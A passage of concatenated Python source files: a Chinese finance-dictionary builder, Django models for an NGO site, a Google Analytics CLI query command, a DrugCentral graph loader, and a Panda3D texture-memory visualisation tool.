with open(self.positiveWords_path, encoding='gbk') as file:
positiveWords = file.readlines()
for i in range(len(positiveWords)):
positiveWords[i] = positiveWords[i].strip()
punctuationList = list(r"""!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~“”？，！【】（）、。：；’‘……￥·""")
emptyList = ['']
return stopWords + negativeWords + positiveWords + punctuationList + emptyList
def remove_rubbish(self, data, rubbishList):
"""
移除文本列表中的垃圾词汇
:param data: 待移除垃圾词汇的列表[文本,]
:param rubbishList: 垃圾词汇列表
:return: 移除垃圾词汇后的文本列表
"""
tmp = data
for i in tmp:
if i.strip() in rubbishList or self.is_number(i.strip()):
tmp.remove(i)
return tmp
def is_number(self, n):
"""
判断参数是否为数字
:param n:传入待判断参数
:return: 若为数字则True,其他False
"""
try:
float(n)
except:
return False
return True
def remove_duplicate(self, data):
"""
去除列表重复值
:param:data:传入待去重列表
:return: 返回去重后的列表
"""
tmp = set(data)
return list(tmp)
def write_dic(self, data):
"""
将金融词典写入FinanceWordDic.txt
:param data: 去除垃圾词后的词汇列表
"""
with open(self.financeDic_path, 'w', encoding='utf8') as file:
for i in data:
file.write(i + '\n')
def build_dic(self):
"""
建立金融行业相关字典
:return: 字典
"""
data = self.loadContent()
rubbishDic = self.rubbish_dic()
wordList = []
for d in data:
print(d)
wordList += self.split_word(d[0])
wordList = self.remove_attribute(wordList)
wordList = self.remove_duplicate(wordList)
self.remove_rubbish(wordList, rubbishDic)
self.write_dic(wordList)
print('字典构建已完成！')
return wordList
# if __name__ == '__main__':
# test = DicBuilder()
# test.build_dic()
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src/school_college/models.py | paceite/Seelife---An-NGO-Website | 0 | 168308 | from django.db import models
from django.contrib.auth import get_user_model, authenticate, login, logout
User = get_user_model()
# Create your models here.
class Teacher(models.Model):
name = models.CharField(max_length=100)
email = models.EmailField(max_length=255, unique=True, verbose_name='email address')
class Parents(models.Model):
name = models.CharField(max_length=100)
email = models.EmailField(max_length=255, unique=True, verbose_name='email address')
class Student(models.Model):
name = models.CharField(max_length=100)
school = models.CharField(max_length=100)
is_present = models.BooleanField(default=False)
teacher = models.ForeignKey(Teacher, on_delete=models.CASCADE)
parents = models.ForeignKey(Parents, on_delete=models.CASCADE)
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googleanalytics/commands/query.py | ruber0id/google-analytics | 170 | 84439 | # encoding: utf-8
import json
import yaml
import click
import googleanalytics as ga
from googleanalytics import utils
from .common import cli
# TODO: the blueprint stuff can probably be simplified so that
# it's little more than just a call to ga.describe
def from_blueprint(scope, src):
description = yaml.load(src)
blueprint = ga.Blueprint(description)
credentials = {}
credentials.update(blueprint.identity or {})
credentials.update(blueprint.scope)
profile = ga.authenticate(interactive=True, save=True, **credentials)
return blueprint.queries(profile)
# TODO: add any query generation improvements not associated with
# string parsing back into blueprint generation and query.refine
# so they apply across the board
def from_args(scope, metrics,
start, stop, days, limit,
dimensions, filter, segment,
**description):
# LIMIT can be a plain limit or start and length
if limit:
limit = list(map(int, limit.split(',')))
description.update({
'range': {
'start': start,
'stop': stop,
'days': days,
},
'metrics': utils.cut(metrics, ','),
'limit': limit,
})
if dimensions:
description['dimensions'] = utils.cut(dimensions, ',')
query = ga.query.describe(scope, description)
for f in filter:
query = ga.query.refine(query, {'filter': dict(utils.cut(f, '=', ','))})
for s in segment:
query = ga.query.refine(query, {'segment': dict(utils.cut(s, '=', ','))})
return [query]
# TODO: maybe include an --interactive option, which defers
# to `shell` but with a prefilled query?
@cli.command()
@click.argument('metrics')
@click.option('--dimensions')
@click.option('--start',
help='Start date in ISO format, e.g. 2016-01-01.')
@click.option('--stop')
@click.option('--days',
help='Days to count forward from start date, counts backwards when negative.',
default=0,
type=int)
@click.option('--limit',
help='Return only the first <n> or <start>,<n> results.')
@click.option('--sort',
help='Sort by a metric; prefix with - to sort from high to low.')
@click.option('--debug',
is_flag=True)
@click.option('--filter',
multiple=True)
@click.option('--segment',
multiple=True)
@click.option('--precision',
type=click.IntRange(0, 2),
default=1,
help='Increase or decrease query precision.')
@click.option('-i', '--interval',
type=click.Choice(['hour', 'day', 'week', 'month', 'year', 'total']),
default='total',
help='Return hourly, daily etc. numbers.')
@click.option('-o', '--output',
type=click.Choice(['csv', 'json', 'ascii']),
default='ascii',
help='Output format; human-readable ascii table by default.')
@click.option('--with-metadata',
is_flag=True)
@click.option('-b', '--blueprint',
type=click.File('r'))
@click.option('--realtime',
is_flag=True,
help='Use the RealTime API instead of the Core API.')
@click.pass_obj
def query(scope, blueprint, debug, output, with_metadata, realtime, **description):
"""
e.g.
googleanalytics --identity debrouwere --account debrouwere --webproperty http://debrouwere.org \
query pageviews \
--start yesterday --limit -10 --sort -pageviews \
--dimensions pagepath \
--debug
"""
if realtime:
description['type'] = 'realtime'
if blueprint:
queries = from_blueprint(scope, blueprint)
else:
if not isinstance(scope, ga.account.Profile):
raise ValueError("Account and webproperty needed for query.")
queries = from_args(scope, **description)
for query in queries:
if debug:
click.echo(query.build())
report = query.serialize(format=output, with_metadata=with_metadata)
click.echo(report)
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src/drugcentral.py | AstrorEnales/GenCoNet | 2 | 100087 | <filename>src/drugcentral.py
#!/usr/bin/env python3
import io
import csv
from model.network import Network
from model.drug import Drug
from model.disease import Disease
from model.edge import Edge
network = Network()
with io.open('../data/DrugCentral/drugcentral_mappings.csv', 'r', encoding='utf-8', newline='') as f:
reader = csv.reader(f, delimiter=',', quotechar='"')
next(reader, None)
for row in reader:
ids = ['DrugCentral:%s' % row[0], 'DrugBank:%s' % row[1]]
if row[2]:
ids.append('RxNorm:%s' % row[2])
network.add_node(Drug(ids, [row[3]]))
with io.open('../data/DrugCentral/drugcentral_indications.csv', 'r', encoding='utf-8', newline='') as f:
reader = csv.reader(f, delimiter=',', quotechar='"')
next(reader, None)
for row in reader:
disease = Disease(['SnoMedCT:%s' % row[2], 'UMLS:%s' % row[3]], [row[1]])
network.add_node(disease)
drug = network.get_node_by_id('DrugBank:%s' % row[0], 'Drug')
e = Edge(drug, disease, 'INDICATES', {'source': 'DrugCentral'})
network.add_edge(e)
with io.open('../data/DrugCentral/drugcentral_contraindications.csv', 'r', encoding='utf-8', newline='') as f:
reader = csv.reader(f, delimiter=',', quotechar='"')
next(reader, None)
for row in reader:
disease = Disease(['SnoMedCT:%s' % row[2], 'UMLS:%s' % row[3]], [row[1]])
network.add_node(disease)
drug = network.get_node_by_id('DrugBank:%s' % row[0], 'Drug')
e = Edge(drug, disease, 'CONTRAINDICATES', {'source': 'DrugCentral'})
network.add_edge(e)
network.save('../data/DrugCentral/graph.json')
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dev/tools/leveleditor/direct/showutil/TexMemWatcher.py | CrankySupertoon01/Toontown-2 | 1 | 1607750 | from pandac.PandaModules import *
from direct.showbase.DirectObject import DirectObject
import math
import copy
class TexMemWatcher(DirectObject):
"""
This class creates a separate graphics window that displays an
approximation of the current texture memory, showing the textures
that are resident and/or active, and an approximation of the
amount of texture memory consumed by each one. It's intended as a
useful tool to help determine where texture memory is being spent.
Although it represents the textures visually in a 2-d space, it
doesn't actually have any idea how textures are physically laid
out in memory--but it has to lay them out somehow, so it makes
something up. It occasionally rearranges the texture display when
it feels it needs to, without regard to what the graphics card is
actually doing. This tool can't be used to research texture
memory fragmentation issues.
"""
NextIndex = 1
StatusHeight = 20 # in pixels
def __init__(self, gsg = None, limit = None):
DirectObject.__init__(self)
# First, we'll need a name to uniquify the object.
self.name = 'tex-mem%s' % (TexMemWatcher.NextIndex)
TexMemWatcher.NextIndex += 1
self.cleanedUp = False
self.top = 1.0
# The textures managed by the TexMemWatcher are packed
# arbitrarily into the canvas, which is the viewable region
# that represents texture memory allocation. The packing
# arrangement has no relation to actual layout within texture
# memory (which we have no way to determine).
# The visual size of each texture is chosen in proportion to
# the total number of bytes of texture memory the texture
# consumes. This includes mipmaps, and accounts for texture
# compression. Visually, a texture with mipmaps will be
# represented by a rectangle 33% larger than an
# equivalent-sized texture without mipmaps. Of course, this
# once again has little bearing to the way the textures are
# actually arranged in memory; but it serves to give a visual
# indication of how much texture memory each texture consumes.
# There is an arbitrary limit, self.limit, which may have been
# passed to the constructor, or which may be arbitrarily
# determined. This represents the intended limit to texture
# memory utilization. We (generously) assume that the
# graphics card will implement a perfect texture packing
# algorithm, so that as long as our total utilization <=
# self.limit, it must fit within texture memory. We represent
# this visually by aggressively packing textures within the
# self.limit block so that they are guaranteed to fit, as long
# as we do not exceed the total utilization. This may
# sometimes mean distorting a texture block or even breaking
# it into multiple pieces to get it to fit, clearly
# fictionalizing whatever the graphics driver is actually
# doing.
# Internally, textures are packed into an integer grid of
# Q-units. Q-units are in proportion to texture bytes.
# Specifically, each Q-unit corresponds to a block of
# self.quantize * self.quantize texture bytes in the Texture
# Memory window. The Q-units are the smallest packable unit;
# increasing self.quantize therefore reduces the visual
# packing resolution correspondingly. Q-units very roughly
# correspond to pixels onscreen (they may be larger, sometimes
# considerably larger, than 1 pixel, depending on the window
# size).
# This number defines the size of a Q-unit square, in texture
# bytes. It is automatically adjusted in repack() based on
# the window size and the texture memory size.
self.quantize = 1
# This is the maximum number of bitmask rows (within
# self.limit) to allocate for packing. This controls the
# value assigned to self.quantize in repack().
self.maxHeight = base.config.GetInt('tex-mem-max-height', 300)
# The total number of texture bytes tracked, including overflow.
self.totalSize = 0
# The total number of texture bytes placed, not including
# overflow (that is, within self.limit).
self.placedSize = 0
# The total number of Q-units placed, not including overflow.
self.placedQSize = 0
# If no GSG is specified, use the main GSG.
if gsg is None:
gsg = base.win.getGsg()
elif isinstance(gsg, GraphicsOutput):
# If we were passed a window, use that window's GSG.
gsg = gsg.getGsg()
self.gsg = gsg
# Now open a new window just to render the output.
size = ConfigVariableInt('tex-mem-win-size', '300 300')
origin = ConfigVariableInt('tex-mem-win-origin', '100 100')
self.winSize = (size[0], size[1])
name = 'Texture Memory'
props = WindowProperties()
props.setOrigin(origin[0], origin[1])
props.setSize(*self.winSize)
props.setTitle(name)
props.setFullscreen(False)
props.setUndecorated(False)
fbprops = FrameBufferProperties.getDefault()
flags = GraphicsPipe.BFFbPropsOptional | GraphicsPipe.BFRequireWindow
self.pipe = None
# Set this to tinydisplay if you're running on a machine with
# limited texture memory. That way you won't compete for
# texture memory with the main scene.
moduleName = base.config.GetString('tex-mem-pipe', '')
if moduleName:
self.pipe = base.makeModulePipe(moduleName)
# If the requested pipe fails for some reason, we'll use the
# regular pipe.
if not self.pipe:
self.pipe = base.pipe
self.win = base.graphicsEngine.makeOutput(self.pipe, name, 0, fbprops,
props, flags)
assert self.win
# We should render at the end of the frame.
self.win.setSort(10000)
# We don't need to clear the color buffer, since we'll be
# filling it with a texture. We also don't need to clear the
# depth buffer, since we won't be using it.
self.win.setClearColorActive(False)
self.win.setClearDepthActive(False)
eventName = '%s-window' % (self.name)
self.win.setWindowEvent(eventName)
self.accept(eventName, self.windowEvent)
# Listen for this event so we can update appropriately, if
# anyone changes the window's graphics memory limit,
self.accept('graphics_memory_limit_changed',
self.graphicsMemoryLimitChanged)
# We'll need a mouse object to get mouse events.
self.mouse = base.dataRoot.attachNewNode(MouseAndKeyboard(self.win, 0, '%s-mouse' % (self.name)))
bt = ButtonThrower('%s-thrower' % (self.name))
self.mouse.attachNewNode(bt)
bt.setPrefix('button-%s-' % (self.name))
self.accept('button-%s-mouse1' % (self.name), self.mouseClick)
self.setupGui()
self.setupCanvas()
# Now start handling up the actual stuff in the scene.
self.background = None
self.nextTexRecordKey = 0
self.rollover = None
self.isolate = None
self.isolated = None
self.needsRepack = False
# How frequently should the texture memory window check for
# state changes?
updateInterval = base.config.GetDouble("tex-mem-update-interval", 0.5)
self.task = taskMgr.doMethodLater(updateInterval, self.updateTextures, 'TexMemWatcher')
self.setLimit(limit)
def setupGui(self):
""" Creates the gui elements and supporting structures. """
self.render2d = NodePath('render2d')
self.render2d.setDepthTest(False)
self.render2d.setDepthWrite(False)
self.render2d.setTwoSided(True)
self.render2d.setBin('unsorted', 0)
# Create a DisplayRegion and an associated camera.
dr = self.win.makeDisplayRegion()
cam = Camera('cam2d')
self.lens = OrthographicLens()
self.lens.setNearFar(-1000, 1000)
self.lens.setFilmSize(2, 2)
cam.setLens(self.lens)
np = self.render2d.attachNewNode(cam)
dr.setCamera(np)
self.aspect2d = self.render2d.attachNewNode('aspect2d')
cm = CardMaker('statusBackground')
cm.setColor(0.85, 0.85, 0.85, 1)
cm.setFrame(0, 2, 0, 2)
self.statusBackground = self.render2d.attachNewNode(cm.generate(), -1)
self.statusBackground.setPos(-1, 0, -1)
self.status = self.aspect2d.attachNewNode('status')
self.statusText = TextNode('statusText')
self.statusText.setTextColor(0, 0, 0, 1)
self.statusTextNP = self.status.attachNewNode(self.statusText)
self.statusTextNP.setScale(1.5)
self.sizeText = TextNode('sizeText')
self.sizeText.setTextColor(0, 0, 0, 1)
self.sizeText.setAlign(TextNode.ARight)
self.sizeText.setCardAsMargin(0.25, 0, 0, -0.25)
self.sizeText.setCardColor(0.85, 0.85, 0.85, 1)
self.sizeTextNP = self.status.attachNewNode(self.sizeText)
self.sizeTextNP.setScale(1.5)
def setupCanvas(self):
""" Creates the "canvas", which is the checkerboard area where
texture memory is laid out. The canvas has its own
DisplayRegion. """
self.canvasRoot = NodePath('canvasRoot')
self.canvasRoot.setDepthTest(False)
self.canvasRoot.setDepthWrite(False)
self.canvasRoot.setTwoSided(True)
self.canvasRoot.setBin('unsorted', 0)
self.canvas = self.canvasRoot.attachNewNode('canvas')
# Create a DisplayRegion and an associated camera.
self.canvasDR = self.win.makeDisplayRegion()
self.canvasDR.setSort(-10)
cam = Camera('cam2d')
self.canvasLens = OrthographicLens()
self.canvasLens.setNearFar(-1000, 1000)
cam.setLens(self.canvasLens)
np = self.canvasRoot.attachNewNode(cam)
self.canvasDR.setCamera(np)
# Create a MouseWatcher so we can interact with the various
# textures.
self.mw = MouseWatcher('%s-watcher' % (self.name))
self.mw.setDisplayRegion(self.canvasDR)
mwnp = self.mouse.attachNewNode(self.mw)
eventName = '%s-enter' % (self.name)
self.mw.setEnterPattern(eventName)
self.accept(eventName, self.enterRegion)
eventName = '%s-leave' % (self.name)
self.mw.setLeavePattern(eventName)
self.accept(eventName, self.leaveRegion)
# Create a checkerboard background card for the canvas.
p = PNMImage(2, 2, 1)
p.setGray(0, 0, 0.40)
p.setGray(1, 1, 0.40)
p.setGray(0, 1, 0.75)
p.setGray(1, 0, 0.75)
self.checkTex = Texture('checkTex')
self.checkTex.load(p)
self.checkTex.setMagfilter(Texture.FTNearest)
self.canvasBackground = None
self.makeCanvasBackground()
def makeCanvasBackground(self):
if self.canvasBackground:
self.canvasBackground.removeNode()
self.canvasBackground = self.canvasRoot.attachNewNode('canvasBackground', -100)
cm = CardMaker('background')
cm.setFrame(0, 1, 0, 1)
cm.setUvRange((0, 0), (1, 1))
self.canvasBackground.attachNewNode(cm.generate())
cm.setFrame(0, 1, 1, self.top)
cm.setUvRange((0, 1), (1, self.top))
bad = self.canvasBackground.attachNewNode(cm.generate())
bad.setColor((0.8, 0.2, 0.2, 1))
self.canvasBackground.setTexture(self.checkTex)
def setLimit(self, limit = None):
""" Indicates the texture memory limit. If limit is None or
unspecified, the limit is taken from the GSG, if any; or there
is no limit. """
self.__doSetLimit(limit)
self.reconfigureWindow()
def __doSetLimit(self, limit):
""" Internal implementation of setLimit(). """
self.limit = limit
self.lruLimit = False
self.dynamicLimit = False
if not limit:
# If no limit was specified, use the specified graphics
# memory limit, if any.
lruSize = self.gsg.getPreparedObjects().getGraphicsMemoryLimit()
if lruSize and lruSize < 2**32 - 1:
# Got a real lruSize. Use it.
self.limit = lruSize
self.lruLimit = True
else:
# No LRU limit either, so there won't be a practical
# limit to the TexMemWatcher. We'll determine our
# limit on-the-fly instead.
self.dynamicLimit = True
if self.dynamicLimit:
# Choose a suitable limit by rounding to the next power of two.
self.limit = Texture.upToPower2(self.totalSize)
# Set our GSG to limit itself to no more textures than we
# expect to display onscreen, so we don't go crazy with
# texture memory.
self.win.getGsg().getPreparedObjects().setGraphicsMemoryLimit(self.limit)
# The actual height of the canvas, including the overflow
# area. The texture memory itself is restricted to (0..1)
# vertically; anything higher than 1 is overflow.
top = 1.25
if self.dynamicLimit:
# Actually, we'll never exceed texture memory, so never mind.
top = 1
if top != self.top:
self.top = top
self.makeCanvasBackground()
self.canvasLens.setFilmSize(1, self.top)
self.canvasLens.setFilmOffset(0.5, self.top / 2.0) # lens covers 0..1 in x and y
def cleanup(self):
if not self.cleanedUp:
self.cleanedUp = True
# Remove the window.
base.graphicsEngine.removeWindow(self.win)
self.win = None
self.gsg = None
self.pipe = None
# Remove the mouse.
self.mouse.detachNode()
taskMgr.remove(self.task)
self.ignoreAll()
self.canvas.getChildren().detach()
self.texRecordsByTex = {}
self.texRecordsByKey = {}
self.texPlacements = {}
def graphicsMemoryLimitChanged(self):
if self.dynamicLimit or self.lruLimit:
self.__doSetLimit(None)
self.reconfigureWindow()
def windowEvent(self, win):
if win == self.win:
props = win.getProperties()
if not props.getOpen():
# User closed window.
self.cleanup()
return
size = (props.getXSize(), props.getYSize())
if size != self.winSize:
self.winSize = size
self.reconfigureWindow()
def enterRegion(self, region, buttonName):
""" the mouse has rolled over a texture. """
key, pi = map(int, region.getName().split(':'))
tr = self.texRecordsByKey.get(key)
if not tr:
return
self.setRollover(tr, pi)
def leaveRegion(self, region, buttonName):
""" the mouse is no longer over a texture. """
key, pi = map(int, region.getName().split(':'))
tr = self.texRecordsByKey.get(key)
if tr != self.rollover:
return
self.setRollover(None, None)
def mouseClick(self):
""" Received a mouse-click within the window. This isolates
the currently-highlighted texture into a full-window
presentation. """
if self.isolate:
# We're already isolating a texture; the click undoes this.
self.isolateTexture(None)
return
if self.rollover:
self.isolateTexture(self.rollover)
def setRollover(self, tr, pi):
""" Sets the highlighted texture (due to mouse rollover) to
the indicated texture, or None to clear it. """
self.rollover = tr
if self.rollover:
self.statusText.setText(tr.tex.getName())
else:
self.statusText.setText('')
def isolateTexture(self, tr):
""" Isolates the indicated texture onscreen, or None to
restore normal mode. """
if self.isolate:
self.isolate.removeNode()
self.isolate = None
self.isolated = tr
# Undo the previous call to isolate.
self.canvas.show()
self.canvasBackground.clearColor()
self.win.getGsg().setTextureQualityOverride(Texture.QLDefault)
if hasattr(self.gsg, 'clearFlashTexture'):
self.gsg.clearFlashTexture()
if not tr:
return
# Now isolate.
self.canvas.hide()
# Disable the red bar at the top.
self.canvasBackground.setColor(1, 1, 1, 1, 1)
# Show the texture in all its filtered glory.
self.win.getGsg().setTextureQualityOverride(Texture.QLBest)
if hasattr(self.gsg, 'setFlashTexture'):
# Start the texture flashing in the main window.
self.gsg.setFlashTexture(tr.tex)
self.isolate = self.render2d.attachNewNode('isolate')
wx, wy = self.winSize
# Put a label on the bottom of the screen.
tn = TextNode('tn')
tn.setText('%s\n%s x %s\n%s' % (
tr.tex.getName(), tr.tex.getXSize(), tr.tex.getYSize(),
self.formatSize(tr.size)))
tn.setAlign(tn.ACenter)
tn.setCardAsMargin(100.0, 100.0, 0.1, 0.1)
tn.setCardColor(0.1, 0.2, 0.4, 1)
tnp = self.isolate.attachNewNode(tn)
scale = 30.0 / wy
tnp.setScale(scale * wy / wx, scale, scale)
tnp.setPos(render2d, 0, 0, -1 - tn.getBottom() * scale)
labelTop = tn.getHeight() * scale
# Make a card that shows the texture in actual pixel size, but
# don't let it exceed the screen size.
tw = tr.tex.getXSize()
th = tr.tex.getYSize()
wx = float(wx)
wy = float(wy) * (2.0 - labelTop) * 0.5
w = min(tw, wx)
h = min(th, wy)
sx = w / tw
sy = h / th
s = min(sx, sy)
w = tw * s / float(self.winSize[0])
h = th * s / float(self.winSize[1])
cx = 0.0
cy = 1.0 - (2.0 - labelTop) * 0.5
l = cx - w
r = cx + w
b = cy - h
t = cy + h
cm = CardMaker('card')
cm.setFrame(l, r, b, t)
c = self.isolate.attachNewNode(cm.generate())
c.setTexture(tr.tex)
c.setTransparency(TransparencyAttrib.MAlpha)
ls = LineSegs('frame')
ls.setColor(0, 0, 0, 1)
ls.moveTo(l, 0, b)
ls.drawTo(r, 0, b)
ls.drawTo(r, 0, t)
ls.drawTo(l, 0, t)
ls.drawTo(l, 0, b)
self.isolate.attachNewNode(ls.create())
def reconfigureWindow(self):
""" Resets everything for a new window size. """
wx, wy = self.winSize
if wx <= 0 or wy <= 0:
return
self.aspect2d.setScale(float(wy) / float(wx), 1, 1)
# Reserve self.StatusHeight pixels for the status bar;
# everything else is for the canvas.
statusScale = float(self.StatusHeight) / float(wy)
self.statusBackground.setScale(1, 1, statusScale)
self.status.setScale(statusScale)
self.statusTextNP.setPos(self.statusBackground, 0, 0, 0.5)
self.sizeTextNP.setPos(self.statusBackground, 2, 0, 0.5)
self.canvasDR.setDimensions(0, 1, statusScale, 1)
w = self.canvasDR.getPixelWidth()
h = self.canvasDR.getPixelHeight()
self.canvasBackground.setTexScale(TextureStage.getDefault(),
w / 20.0, h / (20.0 * self.top))
if self.isolate:
# If we're currently showing an isolated texture, refresh
# that display so we get its size right. And when we come
# back to the main window (but not now), repack it.
self.needsRepack = True
self.isolateTexture(self.isolated)
else:
# If we're showing the main window, just repack it
# immediately.
self.repack()
def updateTextures(self, task):
""" Gets the current list of resident textures and adds new
textures or removes old ones from the onscreen display, as
necessary. """
if self.isolate:
# never mind for now.
return task.again
if self.needsRepack:
self.needsRepack = False
self.repack()
return task.again
pgo = self.gsg.getPreparedObjects()
totalSize = 0
texRecords = []
neverVisited = copy.copy(self.texRecordsByTex)
for tex in self.gsg.getPreparedTextures():
# We have visited this texture; remove it from the
# neverVisited list.
if tex in neverVisited:
del neverVisited[tex]
size = 0
if tex.getResident(pgo):
size = tex.getDataSizeBytes(pgo)
tr = self.texRecordsByTex.get(tex, None)
if size:
totalSize += size
active = tex.getActive(pgo)
if not tr:
# This is a new texture; need to record it.
key = self.nextTexRecordKey
self.nextTexRecordKey += 1
tr = TexRecord(key, tex, size, active)
texRecords.append(tr)
else:
tr.setActive(active)
if tr.size != size or not tr.placements:
# The size has changed; reapply it.
tr.setSize(size)
self.unplaceTexture(tr)
texRecords.append(tr)
else:
if tr:
# This texture is no longer resident; need to remove it.
self.unplaceTexture(tr)
# Now go through and make sure we unplace (and remove!) any
# textures that we didn't visit at all this pass.
for tex, tr in neverVisited.items():
self.unplaceTexture(tr)
del self.texRecordsByTex[tex]
del self.texRecordsByKey[tr.key]
self.totalSize = totalSize
self.sizeText.setText(self.formatSize(self.totalSize))
if totalSize > self.limit and self.dynamicLimit:
# Actually, never mind on the update: we have exceeded the
# dynamic limit computed before, and therefore we need to
# repack.
self.repack()
else:
overflowCount = sum(map(lambda tp: tp.overflowed, self.texPlacements.keys()))
if totalSize <= self.limit and overflowCount:
# Shouldn't be overflowing any more. Better repack.
self.repack()
else:
# Pack in just the newly-loaded textures.
# Sort the regions from largest to smallest to maximize
# packing effectiveness.
texRecords.sort(key = lambda tr: (tr.tw, tr.th), reverse = True)
for tr in texRecords:
self.placeTexture(tr)
self.texRecordsByTex[tr.tex] = tr
self.texRecordsByKey[tr.key] = tr
return task.again
def repack(self):
""" Repacks all of the current textures. """
self.canvas.getChildren().detach()
self.texRecordsByTex = {}
self.texRecordsByKey = {}
self.texPlacements = {}
self.bitmasks = []
self.mw.clearRegions()
self.setRollover(None, None)
self.w = 1
self.h = 1
self.placedSize = 0
self.placedQSize = 0
pgo = self.gsg.getPreparedObjects()
totalSize = 0
for tex in self.gsg.getPreparedTextures():
if tex.getResident(pgo):
size = tex.getDataSizeBytes(pgo)
if size:
active = tex.getActive(pgo)
key = self.nextTexRecordKey
self.nextTexRecordKey += 1
tr = TexRecord(key, tex, size, active)
self.texRecordsByTex[tr.tex] = tr
self.texRecordsByKey[tr.key] = tr
totalSize += size
self.totalSize = totalSize
self.sizeText.setText(self.formatSize(self.totalSize))
if not self.totalSize:
return
if self.dynamicLimit or self.lruLimit:
# Adjust the limit to ensure we keep tracking the lru size.
self.__doSetLimit(None)
# Now make that into a 2-D rectangle of the appropriate shape,
# such that w * h == limit.
# Window size
x, y = self.winSize
# There should be a little buffer on the top so we can see if
# we overflow.
y /= self.top
r = float(y) / float(x)
# Region size
w = math.sqrt(self.limit) / math.sqrt(r)
h = w * r
# Now choose self.quantize so that we don't exceed
# self.maxHeight.
if h > self.maxHeight:
self.quantize = int(math.ceil(h / self.maxHeight))
else:
self.quantize = 1
w = max(int(w / self.quantize + 0.5), 1)
h = max(int(h / self.quantize + 0.5), 1)
self.w = w
self.h = h
self.area = self.w * self.h
# We store a bitarray for each row, for fast lookup for
# unallocated space on the canvas. Each Q-unit on the row
# corresponds to a bit in the bitarray, where bit 0 is Q-unit
# 0, bit 1 is Q-unit 1, and so on. If the bit is set, the
# space is occupied.
self.bitmasks = []
for i in range(self.h):
self.bitmasks.append(BitArray())
self.canvas.setScale(1.0 / w, 1.0, 1.0 / h)
self.mw.setFrame(0, w, 0, h * self.top)
# Sort the regions from largest to smallest to maximize
# packing effectiveness.
texRecords = self.texRecordsByTex.values()
texRecords.sort(key = lambda tr: (tr.tw, tr.th), reverse = True)
for tr in texRecords:
self.placeTexture(tr)
def formatSize(self, size):
""" Returns a size in MB, KB, GB, whatever. """
if size < 1000:
return '%s bytes' % (size)
size /= 1024.0
if size < 1000:
return '%0.1f kb' % (size)
size /= 1024.0
if size < 1000:
return '%0.1f MB' % (size)
size /= 1024.0
return '%0.1f GB' % (size)
def unplaceTexture(self, tr):
""" Removes the texture from its place on the canvas. """
if tr.placements:
for tp in tr.placements:
tp.clearBitmasks(self.bitmasks)
if not tp.overflowed:
self.placedQSize -= tp.area
assert self.placedQSize >= 0
del self.texPlacements[tp]
tr.placements = []
tr.clearCard(self)
if not tr.overflowed:
self.placedSize -= tr.size
assert self.placedSize >= 0
tr.overflowed = 0
def placeTexture(self, tr):
""" Places the texture somewhere on the canvas where it will
fit. """
tr.computePlacementSize(self)
tr.overflowed = 0
shouldFit = False
availableSize = self.limit - self.placedSize
if availableSize >= tr.size:
shouldFit = True
availableQSize = self.area - self.placedQSize
if availableQSize < tr.area:
# The texture should fit, but won't, due to roundoff
# error. Make it correspondingly smaller, so we can
# place it anyway.
tr.area = availableQSize
if shouldFit:
# Look for a single rectangular hole to hold this piece.
tp = self.findHole(tr.area, tr.w, tr.h)
if tp:
texCmp = cmp(tr.w, tr.h)
holeCmp = cmp(tp.p[1] - tp.p[0], tp.p[3] - tp.p[2])
if texCmp != 0 and holeCmp != 0 and texCmp != holeCmp:
tp.rotated = True
tr.placements = [tp]
tr.makeCard(self)
tp.setBitmasks(self.bitmasks)
self.placedQSize += tp.area
self.texPlacements[tp] = tr
self.placedSize += tr.size
return
# Couldn't find a single rectangular hole. We'll have to
# divide the texture up into several smaller pieces to cram it
# in.
tpList = self.findHolePieces(tr.area)
if tpList:
texCmp = cmp(tr.w, tr.h)
tr.placements = tpList
for tp in tpList:
holeCmp = cmp(tp.p[1] - tp.p[0], tp.p[3] - tp.p[2])
if texCmp != 0 and holeCmp != 0 and texCmp != holeCmp:
tp.rotated = True
tp.setBitmasks(self.bitmasks)
self.placedQSize += tp.area
self.texPlacements[tp] = tr
self.placedSize += tr.size
tr.makeCard(self)
return
# Just let it overflow.
tr.overflowed = 1
tp = self.findOverflowHole(tr.area, tr.w, tr.h)
tp.overflowed = 1
while len(self.bitmasks) <= tp.p[3]:
self.bitmasks.append(BitArray())
tr.placements = [tp]
tr.makeCard(self)
tp.setBitmasks(self.bitmasks)
self.texPlacements[tp] = tr
def findHole(self, area, w, h):
""" Searches for a rectangular hole that is at least area
square units big, regardless of its shape, but attempt to find
one that comes close to the right shape, at least. If one is
found, returns an appropriate TexPlacement; otherwise, returns
None. """
if area == 0:
tp = TexPlacement(0, 0, 0, 0)
return tp
# Rotate the hole to horizontal first.
w, h = max(w, h), min(w, h)
aspect = float(w) / float(h)
holes = self.findAvailableHoles(area, w, h)
# Walk through the list and find the one with the best aspect
# match.
matches = []
for tarea, tp in holes:
l, r, b, t = tp.p
tw = r - l
th = t - b
# To constrain our area within this rectangle, how would
# we have to squish it?
if tw < w:
# We'd have to make it taller.
nh = min(area / tw, th)
th = nh
elif th < h:
# We'd have to make it narrower.
nw = min(area / th, tw)
tw = nw
else:
# Hey, we don't have to squish it after all! Just
# return this hole.
tw = w
th = h
# Make a new tp that has the right area.
tp = TexPlacement(l, l + tw, b, b + th)
ta = float(max(tw, th)) / float(min(tw, th))
if ta == aspect:
return tp
match = min(ta, aspect) / max(ta, aspect)
matches.append((match, tp))
if matches:
return max(matches)[1]
return None
def findHolePieces(self, area):
""" Returns a list of holes whose net area sums to the given
area, or None if there are not enough holes. """
# First, save the original value of self.texPlacements, since
# we will be modifying that during this search.
savedTexPlacements = copy.copy(self.texPlacements)
savedBitmasks = []
for ba in self.bitmasks:
savedBitmasks.append(BitArray(ba))
result = []
while area > 0:
# We have to call findLargestHole() each time through this
# loop, instead of just walking through
# findAvailableHoles() in order, because
# findAvailableHoles() might return a list of overlapping
# holes.
tp = self.findLargestHole()
if not tp:
break
l, r, b, t = tp.p
tpArea = (r - l) * (t - b)
if tpArea >= area:
# we're done.
shorten = (tpArea - area) / (r - l)
t -= shorten
tp.p = (l, r, b, t)
tp.area = (r - l) * (t - b)
result.append(tp)
self.texPlacements = savedTexPlacements
self.bitmasks = savedBitmasks
return result
# Keep going.
area -= tpArea
result.append(tp)
tp.setBitmasks(self.bitmasks)
self.texPlacements[tp] = None
# Huh, not enough room, or no more holes.
self.texPlacements = savedTexPlacements
self.bitmasks = savedBitmasks
return None
def findLargestHole(self):
holes = self.findAvailableHoles(0)
if holes:
return max(holes)[1]
return None
def findAvailableHoles(self, area, w = None, h = None):
""" Finds a list of available holes, of at least the indicated
area. Returns a list of tuples, where each tuple is of the
form (area, tp).
